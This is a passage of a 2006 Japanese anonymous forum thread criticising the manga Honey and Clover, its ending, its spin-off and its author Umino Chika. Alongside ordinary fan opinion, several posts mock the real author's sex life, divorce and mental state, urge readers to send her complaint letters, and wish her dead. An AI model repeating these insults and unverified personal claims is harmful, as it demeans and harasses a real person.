もう売っちゃったから読み返せないけどw
750 名前：花と名無しさん mailto:sage [2006/11/23(木) 12:59:52 ID:???O]: >>746
ハチクロは学生とか美大生ってのはあくまでもお飾り設定
メインはメンヘラ女とそいつに振り回されるヘタレ男の好いた惚れたの泥仕合
751 名前：花と名無しさん mailto:sage [2006/11/23(木) 16:16:07 ID:???O]: 終盤のはぐ見てると腹立ってくる。世の中にはすげえ重い病気と必死に闘ってる人達がいっぱいいるんだよ。手怪我したくらいで周りも悲劇のヒロイン扱いすんな。
山田もちょっとなぁ…真山のこと引きずりすぎ。受け入れられる野宮は心の広い良い奴だと思った。
752 名前：花と名無しさん [2006/11/23(木) 20:39:17 ID:X0/+J4pVO]: 好きだったよ、雰囲気が。特に最初の頃の。
753 名前：花と名無しさん mailto:sage [2006/11/23(木) 20:55:04 ID:???0]: >>752
まさに真理だね…
754 名前：花と名無しさん mailto:sage [2006/11/23(木) 23:15:13 ID:???0]: 終わり方が駄目だった。
これは前半が気に入った人がどう良い風に解釈してあげようとしても
多分、終わり方が駄目だった、というのは定説になるんでしょう。
755 名前：花と名無しさん [2006/11/24(金) 00:16:02 ID:Y/mttjqV0]: 作者が感情移入してキモすぎた。

マンガ描くセンスって、どれだけ客観的にキャラを見て、動かしてナンボだと思う。
ウミノさんは同人誌レベルから抜け出せない人だと思った。
プロじゃない。
756 名前：花と名無しさん mailto:sage [2006/11/24(金) 00:17:59 ID:???0]: …と、素人が申しております
757 名前：花と名無しさん mailto:sage [2006/11/24(金) 00:44:28 ID:???0]: >>755
同意。だいたいウミノのように自作のキャラクターを「ウチの子」呼ばわりする作家はイタイのが多いわな。
758 名前：花と名無しさん mailto:sage [2006/11/24(金) 01:42:55 ID:???0]: >>757
それは女性作家はわりと皆やってるかもな^^;表で言わないだけで
しかしそれを堂々と後書きで言ってのける感性はやはり同人レベルだな

自分は終盤の山田がキモくてしかたなかった
特に最後の野宮に別れた方がいいのかなとか言ってベソかくところでは
こん棒で殴り倒したい衝動を感じた
森田と思い出の一夜ｗを過ごしたあとさっさと修に乗り換えたはぐのほうが
よほどさばけた女だな
759 名前：花と名無しさん mailto:sage [2006/11/24(金) 04:08:15 ID:???0]: 山田もはぐもりかも『オヤジの夢』って感じのキャラだった
男キャラは『ババアの夢』
途中まではいい夢だったんだけどなぁ･･･
760 名前：花と名無しさん mailto:sage [2006/11/24(金) 09:42:10 ID:???0]: ３巻と７巻は神
761 名前：花と名無しさん mailto:sage [2006/11/24(金) 16:23:50 ID:???0]: >＞756　あれ？！ウミノがいるよ！！
762 名前：花と名無しさん mailto:sage [2006/11/24(金) 17:24:41 ID:???0]: >>714
＞若く見えた方が得だという価値観にとらわれてるような

ウミノさんの価値観だね。この漫画のキャラクター造形の基本だ。
ウミノフィルターを通すと世界は瑞々しさを保つ純粋で美しい者と
それに憧れ崇め奉仕する者と
それに嫉妬する人々で出来ている。

純粋な者が才能を持つと生活に支障がでるようになり
それを保護する理解者が現れる。
763 名前：花と名無しさん mailto:sage [2006/11/24(金) 18:39:31 ID:???0]: 昨日初めて読んだけど８巻までは展開とノリとキャラが
笑わせてくれました。
面白かったです。
でも９巻意向の展開は納得行かないな～。
一気読みした分急に重くなってきつかった。
764 名前：花と名無しさん [2006/11/25(土) 00:17:21 ID:rynr7FQ80]: 掲載雑誌もコロコロ変わってるし、このマンガの担当もウミノに好きなように
やらせてしまったが為に、作品として破綻してしまった。

ほんとうにプロじゃない。
気持ち悪い。
765 名前：花と名無しさん mailto:sage [2006/11/25(土) 02:21:24 ID:???O]: そりゃデビュー作だもの。経験積まないうちにチヤホヤされたらねぇ…
766 名前：花と名無しさん [2006/11/25(土) 16:37:36 ID:uXX4COVIO]: ＤＶＤジャケット真山か
767 名前：花と名無しさん mailto:sage [2006/11/25(土) 17:00:41 ID:???O]: >>756
素人でも分かるような事すら見えていなかった羽海野ﾀｿって…
768 名前：花と名無しさん mailto:sage [2006/11/25(土) 19:00:20 ID:???0]: ここってアンチスレ？悪口ばっかだな
769 名前：花と名無しさん mailto:sage [2006/11/25(土) 19:01:05 ID:???0]: まぁ、でも初連載、2回も掲載誌変更にあったわりには、良い作品に仕上がったと思うよ！
ウミノたんおつかれ！！！
770 名前：花と名無しさん mailto:sage [2006/11/25(土) 19:36:58 ID:???0]: 群像ものは、簡単なようでまとめるのが難しいんだよね・・・
771 名前：花と名無しさん mailto:sage [2006/11/25(土) 19:45:20 ID:???0]: 普通に読者の想像通りはぐを竹本か森田（主に森田か）とくっつければ
こんなに叩かれなかったろうにな
あえてこのラストにしたのは何故なんだ？
772 名前：花と名無しさん mailto:sage [2006/11/25(土) 21:26:54 ID:???O]: >>770
あっちこっちと描き散らかすから収集つかなくなって豚切りエンドの羽目になるんだよ
773 名前：花と名無しさん mailto:sage [2006/11/26(日) 00:16:08 ID:???0]: >>751
はぐは父親に「自分は再婚するから娘の事はよろしく」と修に丸投げされた点は
ちょっと可哀そうだけどね。
このシチュエーション、大島弓子の「ダリアの帯」と似ているよ。

「ダリア･･･」の方は手のケガじゃなく流産で心を病み、娘の事を娘の夫に丸投げにしたのは
母親だったけど。（おまけに主人公はその後お花畑の住人に･･･）
774 名前：花と名無しさん mailto:sage [2006/11/26(日) 01:35:14 ID:???O]: 最近最終巻読んだんだけど修→はぐにえらいびっくりした。
結局はぐは森田の事好きだけど人生の上で修ちゃんを選んだってこと？？
修はぐは恋愛的な意味でくっついたわけではないのか（プロポーズ的な事言ってたけど）
結局この漫画できちんとくっついたのは真山とリカさんだけか…
良かったけどイマイチスッキリしないなー
775 名前：花と名無しさん mailto:sage [2006/11/26(日) 02:14:48 ID:???0]: >>774
はぐが男として好きなのは森田で一緒にいて安心できるのが修なんじゃない？
それで画をかいていくのに一番自分の役にたつのが修で、はぐは恋愛よりも芸術
をとりましたって話なんじゃないのかな？
修がプロポーズ的なことを言ってたのはまったくの独りよがりではぐは修を
保護者と思っているのは変わらないんじゃないかな？
776 名前：花と名無しさん mailto:sage [2006/11/26(日) 08:18:37 ID:???0]: 教えてください。

chapter.30で修ちゃんが山田さんに
「努力する」か「諦める」か　どっちかしかないよ。
って言ってるんですが、修ちゃんが口にしなかった
３つめの選択肢を知りたいのです。
なんか自分がその選択肢を選んじゃってる気がして･･
777 名前：花と名無しさん mailto:sage [2006/11/26(日) 10:54:59 ID:???O]: 既出だよね。
なんだっけ？

逃げる…？

だっけ？
778 名前：花と名無しさん [2006/11/26(日) 10:56:15 ID:YoBy8uDCO]: なにもしない
779 名前：花と名無しさん mailto:sage [2006/11/26(日) 11:16:58 ID:???0]: >>771　>>774
あのラストになったのは作者がああいう風にしか描けなかったからだと思う。

全部おれの勝手な妄想ですが、インタビューでウソは描かないようにしてるという発言があり
記事の前後から多分それは心情とか感情とかそういう部分の事だろうから、はぐ＝若い頃の作者の分身であると考えると
オタクなウミノさんの実体験から王子様と結ばれて終わるというラストは描けなかったのではないかと思われる。
深読みすると恋愛経験に乏しかった自身の青春をはぐに追体験させ、読者から共感を得られたらそれが若い頃遊ばなかった
自分の過去への免罪符になるという気持ちが作者にあったのかもしれないような気がしないでもない。

インタビューと日記と巻末漫画で作者の人格というか人となりが見えてくるんで
どうもアレコレ余計な事まで考えて読んでしまう。

あとこれも合ってるかどうか知らないけど、森田以外のキャラには自分が入ってるという発言から
はぐ＝若い頃の自分。才能＞＞＞恋愛。
竹本＝語り部。ネガティブ思考。
リカ＝大人の自分。不幸な過去があるけど誰か拾って。
修司＝大人の自分。自分も若返って恋愛したい。
眼鏡＝若い頃の自分。かっこつけようとして空回り。
こんな感じかなと思った。実はヤリマンだったらすいません(´・ω・｀)
780 名前：花と名無しさん mailto:sage [2006/11/26(日) 11:36:45 ID:???0]: なんだかんだ言って作者はああ言うラストしか
描けなかったって所には大いに同意。もし～じゃなければ違ってたはず
ってレスも多いけど、どこに行っても程度の差はあれ
ああなってたような気がする。
連載中どっかに載ってた最終回のラフが修はぐっぽい
って前から言われてたし。

好きな人とどうしても結ばれないってジレンマってのがウミノタンの中に
あるんかね、と思わずにはいられない漫画だった。
781 名前：花と名無しさん mailto:sage [2006/11/26(日) 12:38:53 ID:???O]: >>775
そうだったら余計気持ち悪いな…。
はぐが芸術取るのは大いにいいと思うけど、修との恋愛はｲﾗﾈ。
782 名前：花と名無しさん mailto:sage [2006/11/26(日) 12:52:02 ID:???0]: 「四葉のクローバー」の花言葉って調べてみたけど、

あるサイトでは４枚の葉がそれぞれ、「富」「名声」「愛」「健康」を
意味すると解説されてた。
なんか「愛」意外は、ずいぶん俗っぽい意味だけど、
「いつまでも夢見てないで、現実的になりなさい・・・て警告なのかな？」
とか思いながら、もっと見てみると、最終的には

「私のものになって！」
なのだそうだ。
はぐ、実は竹本にも気があったのかな？
うーん・・・
783 名前：花と名無しさん mailto:sage [2006/11/26(日) 15:20:48 ID:???O]: どうしても結ばれないというより
どうしても(ｳﾐﾉ的理想の人が)いないって感じだ
784 名前：花と名無しさん [2006/11/26(日) 16:06:03 ID:++I7gLtW0]: いくらもうかってもこんなにボロクソに人格否定されるまで金いらね
ま、金もうかったといってもまだ一作目だからこれからも
売れるかは微妙だけどｗ
785 名前：花と名無しさん [2006/11/26(日) 17:26:31 ID:lI/ETr6DO]: 最初ドカッと売れちゃうと次からはなかなか売れなくなるもんだからね。そう長くヒット作なんて作れるもんでもないしね。もう名前は出てこないかもね
786 名前：花と名無しさん mailto:sage [2006/11/26(日) 17:53:22 ID:???0]: てかハチクロで色々喋りすぎちゃったせいでストック残ってないんじゃないかと思う。
あれだけ喋った後だと何やっても作者が透けて出ちゃうし。
(最終巻の読みきりの固形ハチミツとかｲﾝﾀﾋﾞｭｰ読んでいたせいで気になっちゃったし)
787 名前：花と名無しさん mailto:sage [2006/11/26(日) 18:58:18 ID:???0]: いくらココでボロクソ言っても、本人の耳には入らないよ。
取り巻きからは「ウミノ先生！ウミノ先生！」てチヤホヤされて、
印税もｶﾞﾎﾟｰﾘ｡
今頃はもう天狗になってるんじゃないの？
788 名前：花と名無しさん mailto:sage [2006/11/26(日) 20:33:45 ID:???O]: 印税で老後は安定ってか
いいご身分だねぇ
789 名前：花と名無しさん mailto:sage [2006/11/26(日) 22:49:33 ID:???0]: 飲み屋の
「一緒にいよう　ケンカしてもいいじゃない
　ちゃんと話をしよう？　全部はそれからだ」っていう場面と
最終回、ハチミツとクローバーのサンドイッチ食べる場面で号泣しました。

どうせグダグダで終わるんだろうなぁ、とか思って
期待していなかったんだけど予想外に良かった。

９巻からいきなり急展開な感じはしたけど
「大好きな人の人生を変えてまで芸の道を選ぶこと」
に躊躇し悩み続けていたはぐみが修を選ぶ課程も納得がいった。

大怪我、父の再婚、森田の「もう描かなくていい」
と外堀を埋められての消去法ではあるけれど。
修先生が言うところの３つ目の選択肢「誰も選ばない＝長野に帰る」
を選んだはぐみに決断させるにはこれしかなかったんだろうと思う。
790 名前：花と名無しさん [2006/11/26(日) 22:49:58 ID:9m+eUDsNO]: ｲﾔ、ﾊﾁｸﾛはｺﾚ売れてﾏｽの帯で売れたよーなﾓﾝだから本誌連載終ってから売れるかは怪しい。ﾅﾁみたいに名前で売れ続ければ印税で儲かり続けるけど。画集とかで
791 名前：花と名無しさん [2006/11/26(日) 22:55:44 ID:9m+eUDsNO]: ｳﾐﾉと同じ感性してればﾊﾁｸﾛごときで号泣もありうる。人間の薄ｯﾍﾟﾗさが解る。恋愛の混じったﾏﾝｶﾞは恋愛した事ない女は描いちゃｲｶﾝなぁと思った。ｲﾔしくも女性誌なんだからさ
792 名前：花と名無しさん mailto:sage [2006/11/26(日) 23:01:35 ID:???O]: 作者の恋愛感の薄っぺらさがバレちゃうから。自分を投影しないと（ﾄﾞﾘー夢妄想をいれないと）作品一本も描けない、と。
793 名前：花と名無しさん mailto:sage [2006/11/26(日) 23:05:21 ID:???O]: そりゃ哀れだねぇ
794 名前：花と名無しさん mailto:sage [2006/11/27(月) 00:19:28 ID:???0]: 作者、40代処女？
795 名前：花と名無しさん mailto:sage [2006/11/27(月) 02:28:26 ID:???O]: 「人は恋愛してこそが生きる幸せ」的な締め方にｳﾍｧ…('A`)
結局誰もが誰かに寄りかかってて、それこそが幸せ。
そうじゃない人は悲惨、みたいなオチってどうなの？
今まで散々色んな人生を歩んでる人間模様を描いといて、
最後には臭まで巻き込んで
「やっぱ人生は愛し愛されてこそですよ？☆」って結末に心底ガカーリ。
浅い。浅すぎるよ羽海野ﾀｿ。
796 名前：花と名無しさん mailto:sage [2006/11/27(月) 02:40:04 ID:???0]: >>795
ｵﾏｴは恋愛できなかったんだな…ｱﾜﾚ
誰にも愛されなくても強くｲｷﾛ
797 名前：花と名無しさん mailto:sage [2006/11/27(月) 04:41:47 ID:???0]: >>782
968 名前：名無しんぼ＠お腹いっぱい投稿日： 2006/06/07(水) 06:01:28
四つ葉の「クローバー」の意味は四種類の希望。言い換えれば欲望。
現実の苦味を抑える口当たりの良い「ハチミツ」に浸されている。

「愛」＿＿愛らしい容姿が無ければ愛されない。
「名誉」＿才能が無ければ認められない。
「富」＿＿金が無ければ守れない。
「健康」＿夢を叶える身体が無ければ命を返すしかない。

安定を望む病んだ少女漫画家の切実な夢。
798 名前：花と名無しさん mailto:sage [2006/11/27(月) 09:40:39 ID:???0]: 作者は真面目な気持ちで取材を受けてサービス精神から自分や作品の事を語ったんだろうけど、
やっぱりちょっと喋りすぎた感が否めない。多分仕事をもらったんだし断るのもどうかなとか
そういう気持ちだったんだろうけど、八方美人とか役者萌えとか自分語りとか言う奴が出てきても仕方がない。
メディアミックスだのNANAが売れて少女漫画が注目されたりとかが
デビュー作で一気にきて、そこまで先が見えなかったんだろうな。

読者なら多少は作者の話を聞きたいもんだけど、ここまでインタビュー多いと
ハチクロ＋羽海野チカがセットに見えてくるんだよな。そこまで見せなくていいっすよ的な感じがする。

>>791
＞ｳﾐﾉと同じ感性してればﾊﾁｸﾛごときで号泣もありうる。人間の薄ｯﾍﾟﾗさが解る。
＞恋愛の混じったﾏﾝｶﾞは恋愛した事ない女は描いちゃｲｶﾝなぁと思った。ｲﾔしくも女性誌なんだからさ

それを言うなら片思いばかりしてきた人間だからこそ描けた漫画がハチクロだろ。少年誌のラブコメみたいのが
リアルな恋愛全くしてない奴が描いた漫画で、ハチクロにはリアルさがあった。お前のほうが薄っぺらい。
799 名前：花と名無しさん mailto:sage [2006/11/27(月) 11:42:29 ID:???0]: DVDのイラスト、あゆなんだかはぐなんだかわからん。
800 名前：花と名無しさん mailto:sage [2006/11/27(月) 13:15:26 ID:???O]: どこがリアルなんだか……
最後にボロが出たなｗｗｗ
801 名前：花と名無しさん mailto:sage [2006/11/27(月) 13:15:56 ID:???O]: ＞少年誌のラブコメみたいのがリアルな恋愛全くしてない奴が描いた漫画で、
異性が描いた恋愛ものなんてみんなそんなもんよ。
少女漫画も男から見たらありえない超ご都合主義と主人公補正の賜物でしかない。
ただ、同性から見てもありえない、薄っぺらいとしか思えないのが蜂黒なわけ。
802 名前：花と名無しさん mailto:sage [2006/11/27(月) 14:31:42 ID:???0]: じゃぁ、女性から見てリアルな恋愛もの少女漫画って例えばどんなの？
803 名前：名無し [2006/11/27(月) 15:57:13 ID:HcrGh8/RO]: 平凡なブスが主人公の♀漫画はありませんからないんじゃないですか？顔も心も歪んだブスの現実逃避の手段が少女漫画ですし
804 名前：花と名無しさん mailto:sage [2006/11/27(月) 16:27:23 ID:???0]: てゆーか最後のオチって、未だ嫁に行けずに親元で
兄の子供とハウルグッズやハリポタグッズで遊び
お父さんお母さんありがと～とぬくぬくマンガ描いてるウミノの性が出ただけだろな

そして、そんなウミノの性を、多くの読者が鼻つまんで嫌ったということ
805 名前：花と名無しさん mailto:sage [2006/11/27(月) 19:37:46 ID:???0]: ウミノはバツイチ熟女ですよ？
しかも結婚相手は一応ミュージシャンだったわけで。
806 名前：花と名無しさん mailto:sage [2006/11/27(月) 20:24:13 ID:???P]: >>798
思い出したけど、
作品外で喋りすぎ、といえば。
ウミノさんが、web日記で、
今は死んでしまった友達の夢をみた、
夢の中でその人に
「どうしようもなくなったら俺を呼びな、
頭の上の右の辺りをさわりにいくよ」、
と言われて起きてから泣いた
というようなことを書いてた。
(細かい部分は違うかも、うろ覚え)
それを読んだときは、切なくて言い回しに気が利いているいい話だなあ、
と思ったけど、
後日、コミックス八巻で
飲み屋が「どうしようもなくなったら俺を呼びな」って
ほとんどそれと同じセリフ言ってたときは
ちょっと残念な気はした。作品として楽しむ前に舞台裏は見たくなかった。
作品を見たあとで、
もっとその作品について知りたくなって
情報収集しての結果ならまだしも
807 名前：花と名無しさん [2006/11/27(月) 20:31:51 ID:EkZROz8yO]: 羽海野タン処女でピュアなイメージだと思われてるのか？
サブカル高円寺バンド人間椅子のベーシストと
夫婦だったのだが…
とっくに離婚したけど。
普通にサブカル腐女子で若作りな服装したおばさんでそ。
儲かってるんだからモードな服装にでもシフトすればいいのにね。
808 名前：花と名無しさん mailto:sage [2006/11/27(月) 20:35:39 ID:???0]: >>806
タイトルの元ネタにしても最終刊ならまだしも9巻でばらしちゃったしね。
周知の事実だとしてもまだ言うには早いだろと思った。映画の絡みだから早めに言いたかったんだろうけどね。
809 名前：花と名無しさん mailto:sage [2006/11/27(月) 21:23:25 ID:???O]: >>802
少女漫画自体、リアルじゃないよ
810 名前：花と名無しさん mailto:sage [2006/11/27(月) 21:26:29 ID:???O]: ｳﾐﾉの日記って同人女やメンヘラ女がよく書く
自己陶酔の壷ポエムみたいでなんか痛い
811 名前：花と名無しさん mailto:sage [2006/11/27(月) 23:10:03 ID:???0]: >>805
出戻りじゃ、同じだよ
812 名前：花と名無しさん mailto:sage [2006/11/27(月) 23:15:40 ID:???O]: 徹底的に自虐的だねウミノっち
可哀相なお人‥
813 名前：花と名無しさん mailto:sage [2006/11/28(火) 02:01:30 ID:???0]: >>811
出戻ってないんじゃね？
一応立派なマンションの主だし。
たまの里帰りを出戻りとはいわんよ。
814 名前：花と名無しさん mailto:sage [2006/11/28(火) 04:11:16 ID:???0]: スピンオフ読んだ

特筆すべきコメントは自分的には特に無し・・・

強いて言うなら
作品の前半と後半でノリや世界観が乖離していて妙な読後感だった。
でもまぁ当たり障りなく読める普通の良作だと思う。
あ、あと一平さん良い人だな。でもそれだけ。

作品のバックグラウンドとなる作者の人格やらなにやらを
この作品の観賞に絡め始めるとひたすら寒くなること必死だろうと判断したため
もうその辺はスルーして楽しんだよ。

次も期待しとく。
815 名前：高橋佳子 mailto:精神病院脱出患者 [2006/11/28(火) 05:18:44 ID:???O]: 今からコロ助
816 名前：花と名無しさん mailto:sage [2006/11/28(火) 09:12:55 ID:???0]: 古本屋でキューティー版の一巻があったからつい買っちまった…。
笑ってくれよ、まだ10巻も買ってなかったのに…。（つーか買いたくない）

集英社版の一巻と比べながら、この頃は修のはぐコンが好きでいられたなあとか
山田さんの鉄人ぶりは素敵だったなあとか思って、いろいろと切なくなった。
また表紙のハグが可愛いんだ、これが…。
集英社版のお前何歳児だよハグより、ずっといいよ。
817 名前：花と名無しさん mailto:sage [2006/11/28(火) 10:40:45 ID:???O]: スピンオフはなんか、読者サービス？みたいな感じで
まあそんなに…、良くもなく悪くもなく。表紙いれて14ページだし。
ただ、時間の経過をもうすこし分かりやすく表現してよ。
読めば何ヶ月かたった後ってわかるけど、
いきなり変わってた一瞬へっ？って思った。

この一回でなく何回かやるようですが、次月号に掲載はなし。
818 名前：花と名無しさん mailto:sage [2006/11/28(火) 11:04:00 ID:???0]: ウミノさんについてはずっと、
仮にもくりえーたーが自分の作品について、作品以外でこんなに
うだうだ語ることはこんなに許されて受け入れられることなのか？
とずっと疑問に思ってたので今のこの流れにちょっとほっとしてる。
やっぱまずいよなあれは。
819 名前：花と名無しさん [2006/11/28(火) 13:15:03 ID:LIjXTM0HO]: パン屋の兄ちゃんきたあああああ
あゆと幸せにｒｙと密かに期待したがｗまぁいいか

真山いらね
820 名前：花と名無しさん mailto:sage [2006/11/28(火) 13:44:31 ID:???0]: 別にスピンオフやる必要なかったんじゃないかね
人寄せ？
コーラススレにも書いてる人いたけど画面もゴチャゴチャして読む気がうせる…
将棋マンガに絞った方がいいんじゃ…まだ続くんだよね
821 名前：花と名無しさん mailto:sage [2006/11/28(火) 13:49:31 ID:???0]: >>807
離婚て本当？
離婚の経験により「選ばれし者がくりえいちぶを極めようと思うなら
恋愛は切り捨てざるをえない」みたいな思いが湧いたんだろか。

あ、でも恋愛（森田）は捨てても庇護者（花本）は必要なのか。
庇護者を求める心理があるからコドモっぽい文章書いたりしてんのかなあ。
822 名前：花と名無しさん mailto:sage [2006/11/28(火) 15:11:59 ID:???0]: 最終巻読みきりのトラックの運ちゃんとバンド活動で飛び回ってた作者の元旦那がかぶった。
ほんっとこの作者もうストックないんじゃ？
823 名前：花と名無しさん [2006/11/28(火) 16:02:37 ID:tXYQWY5m0]: 嫌いでどうしようもない漫画スレ

蜂蜜と黒ー葉ー

個人的な好き嫌いからかもしれないが
言いようのない気持ち悪さがある。
可愛いのにきもい。

17 ：きら：2006/11/18(土) 12:12:57 ID:xh7zZjVM
>13
キモいのは作者の腐女子臭だと思う。
それを隠そうとしてるんだけど随所から滲み出てるし、たまに「実はオタクなのです☆」みたいにアピールしてるのが気持ち悪い。
この作者自己顕示欲強いんだなーと思うし、作中のポエムも嫌い。
824 名前：花と名無しさん mailto:sage [2006/11/28(火) 16:25:17 ID:???0]: 作品の出来で叩かれても
「崇高なクリエイター仲間さえわかってくれればいいです☆」と
脳内変換すればおｋ
825 名前：花と名無しさん mailto:sage [2006/11/28(火) 16:44:12 ID:???O]: 同人女によくある表向きは引っ込み思案でおとなしいけど
内在的な自己顕示欲は人一倍という
性格が如実に現れているよなこの作者
826 名前：花と名無しさん mailto:sage [2006/11/28(火) 16:49:18 ID:???O]: >>821
庇護者を求めてるから
･ローマイヤ先輩
･徳大寺先生
･原田
は余計な掘り下げ描写はせずに憧憬的な雰囲気を保ってるのかもね。
827 名前：花と名無しさん mailto:sage [2006/11/28(火) 20:57:12 ID:???O]: スピンオフもう山田は普通に飲み屋ラブだね
828 名前：花と名無しさん mailto:sage [2006/11/28(火) 21:14:26 ID:???0]: 売れ売れ連載＆いろんな企画で貢献乙！って感じで、ごほうびにゆったり
ペースでスピンオフ掲載なのかな？
829 名前：花と名無しさん [2006/11/29(水) 00:13:39 ID:6pK67SG6O]: ちびまる子ちゃんみたいなカラーだな
830 名前：花と名無しさん mailto:sage [2006/11/29(水) 00:45:23 ID:???O]: >>827
うん、確かにそんな感じだね＞山田
なのに、何もさせて貰えない野宮ｶﾜｲｿｽｗｗｗ
831 名前：花と名無しさん mailto:sage [2006/11/29(水) 02:32:22 ID:???0]: へぇ、そうなんだ。笑えるどころか気持ち悪いな。
832 名前：花と名無しさん mailto:sage [2006/11/29(水) 04:15:51 ID:???0]: 山田キモイな･･･
真山が相手でもこうやってジラすつもりだったのか？
それとも即効股ひらくんだろうか
どのみち真山がつまみ食いで１発やっとけば良かったのにな
そうすれば山田の真山に対する変な幻想もなくなったろうに
833 名前：花と名無しさん mailto:sage [2006/11/29(水) 09:09:22 ID:???O]: つか山田って25位だよな？（違ってたらｽﾏｿ）
その歳になっても、「赤ちゃんはｺｳﾉﾄﾘさんが運んで来てくれる
んですよね！」とかマジで言いそうだから怖いｗ
834 名前：花と名無しさん mailto:sage [2006/11/29(水) 10:33:39 ID:???0]: 二十歳すぎまでバージン守っちゃうと逆に頑なになっちゃって
いつまでも捨てられなくなる人いるんだよね
単純にモテなくて捨てる機会に恵まれない女もいればここまで
守ってきたんだから今さらつまらない男にはやれないと意地に
なる女もいる。山田は後者っぽいかな。
835 名前：花と名無しさん mailto:sage [2006/11/29(水) 11:44:01 ID:???O]: 付き合ってる相手もつまらない男なの？
とんだ無礼者のような
836 名前：花と名無しさん mailto:sage [2006/11/29(水) 14:59:22 ID:???O]: いや、今の山田の場合完璧に野宮ラブ状態にあると思うが、
（野宮を見た途端、ｷﾗｷﾗ目になって喜んでたし）
ただ、野宮の方がある種子供でﾒﾙﾍﾝな山田に全く手を出せない
で居るんじゃないか？と。つか、野宮は野宮で、
山田の下手物料理を苦悶の表情をしながらも
「美味しい」と言ってしまう辺りﾍﾞﾀﾎﾞﾚなんだろうよ。
ま、そのお陰で漸く真実を悟った（山田に男が出来た事）
山田FCの皆さんやユニコーンの面々が号泣してたけどね。

とりあえず今回のｽﾋﾟﾝｵﾌを読んで、一平さんが幸せになったのは
良かったけど、後は別にどぉーでも良い話だったと個人的には思う。
つか、真山ってあんなに髪長かったっけ？
837 名前：花と名無しさん mailto:sage [2006/11/29(水) 16:00:32 ID:???O]: 真山が出てくる意味がわからん
なんでそこにいるの？みたいな
必要ないやん
838 名前：花と名無しさん mailto:sage [2006/11/29(水) 16:13:27 ID:???O]: >>837
それ自分も思った。山田にもスルーされてるし、出て来た意味
あんのか？と。
まぁ野宮絡みなんだろうけど、羽海野さんが
ただ単に真山を描きたかっただけかも知れんなｗ
839 名前：花と名無しさん mailto:sage [2006/11/29(水) 17:05:43 ID:???0]: スピンオフはメイン５人は全然出ないと思ってたけど
サブキャラ主役の読みきりで５人のその後を少し…みたいな感じなのかな。
今月は良かったけど、はぐ修が出る話しとかだとまた嫌な気分を味わいそう。
840 名前：花と名無しさん mailto:sage [2006/11/29(水) 17:14:51 ID:???O]: はぐ修はもう見たくないな。それ以外ならもう何でもいいや。
841 名前：花と名無しさん [2006/11/29(水) 17:38:53 ID:6pK67SG6O]: 先生、森田、美和子、山崎がみたい
はぐ、竹本、真山はいらん
842 名前：花と名無しさん mailto:sage [2006/11/29(水) 17:46:48 ID:???0]: 竹本はみたいな。
はぐの友達のめぐみちゃんだったっけ？
実家の蕎麦屋つぐためにボロアパートを出て行った人の妹あたりとｹｺｰﾝとか。ｗ
843 名前：花と名無しさん mailto:sage [2006/11/29(水) 17:51:57 ID:???0]: >842
竹本くんにはちゃんとかわいい彼女を作ってあげてほしい…
昔の捨てキャラの使いまわしじゃなくて…(っД`);;;
844 名前：花と名無しさん [2006/11/29(水) 20:05:18 ID:8dQd6KHZO]: 商業作家にしてスラダンのホモ同人書いたハチクロの腐女子作者、羽海野チカ（40）に苦情のお便りを！　口臭うんこのコピペすれば処女は今年度中に捨てられます。
845 名前：花と名無しさん [2006/11/29(水) 20:08:19 ID:40ljzO0m0]: 処女は急いで捨てる必要なし！！
846 名前：花と名無しさん mailto:sage [2006/11/29(水) 21:43:42 ID:???0]: はぐ父サイドの話が読みたい。
本編ではほとんど語られなかったから。
847 名前：花と名無しさん [2006/11/29(水) 22:22:54 ID:3OhYdu5uO]: >>846
見たい！でもさぁ、なんかはぐ父って最初と最後の方ではキャラ変わってる感じがするから…書かなさそう。
848 名前：花と名無しさん [2006/11/29(水) 22:31:32 ID:sJScQYUc0]: 美和子の私生活見たい！　野宮が新入社員時代の頃からでも可
あと犬希望！
849 名前：花と名無しさん mailto:sage [2006/11/29(水) 23:25:13 ID:???0]: >>847
溺愛…？みたいな感じだよね
850 名前：花と名無しさん [2006/11/30(木) 09:13:12 ID:rqJp8S60O]: ハチグロファンきんめーっ☆ウミノしね☆
851 名前：花と名無しさん mailto:sage [2006/11/30(木) 11:28:08 ID:???0]: 近所のコンビニ、軒並みコーラスにがっちり紐をかけて読めません。
どなたか、簡易ﾊﾞﾚで良いので、スピンオフの内容をお教えいただけませんか。
852 名前：花と名無しさん mailto:sage [2006/11/30(木) 13:52:09 ID:???O]: 絵が前にも増して汚くなった。
雑。
前は味がありかわいさもあったが今は単に画面が汚いぞ。
山田は全く鉄人のおもかげがない。
24・5にしてロリみたいだ。
大人の女はいないよなこの作品。
女はいつまでも少女なの…みたいでキモっ☆
853 名前：花と名無しさん mailto:sage [2006/11/30(木) 15:08:58 ID:???0]: 大人の女＝大家さん
854 名前：花と名無しさん mailto:sage [2006/11/30(木) 15:17:55 ID:???0]: 女キャラはみんなはぐそっくりのカバ顔になっちゃうんだね
山田も今回出てきた新キャラもカバ
855 名前：花と名無しさん mailto:sage [2006/11/30(木) 16:48:23 ID:???O]: スピンオフってどれくらい続くの?

単行本ででるのかな?
856 名前：花と名無しさん mailto:sage [2006/11/30(木) 16:50:34 ID:???0]: ↓こんな風に脳内補完していたけど、実際の所どんな感じだったのか読みたい。

はぐ父：はっ…はぐみ～！！（抱擁＆号泣）
　　　　父さんが忙しくて側にいてやれないばっかりに…。
はぐ：ううん。お父さんのせいじゃないし、私のことは心配しないで。
はぐ父：こんな時になんだが、実は父さん…（照れっ）再婚しようと思うんだ。
　　　　あっ…もちろん、はぐみが良ければの話だぞ？
はぐ：ぇええ！？…お父さんにも大事な人が見つかったのね。よかった…。
はぐ父：それでな、はぐの卒業＆父さん昇進・結婚記念に
　　　　長野の実家を売却して東京に３人で暮らす豪邸建てようと思うんだ。
　　　　もちろんはぐみ専用アトリエ（ベルサイユ仕様）付き！いいだろ～？
　　　　はぐみを喜ばせようと黙っていたけど、もう春には完成予定なんだ！
はぐ： Σ（ﾟдﾟlll）ｶﾞｰﾝ！ぇええっ！工ｴｴｪｪ(´д`)ｪｪｴｴ工工
　　　（長野に帰るつもりでいたのに…私…いきなり家なき子！？）
はぐ父：そんなに驚いて…。
　　　　そうか、そうか、嬉しくて言葉も出ないか～。はっはっはっ。
はぐ：orz
857 名前：花と名無しさん mailto:sage [2006/11/30(木) 18:21:24 ID:???O]: 終盤辺りから山田が幼児化してるのがすっごい不愉快。
もっと凛としてたイメージがあったんだが…。あんな山田みたくなかった。
画面汚いよね。なんかほんと雑というか…キチンとしようよね。
858 名前：花と名無しさん mailto:sage [2006/11/30(木) 18:44:51 ID:???O]: 元々絵はうまくないわな
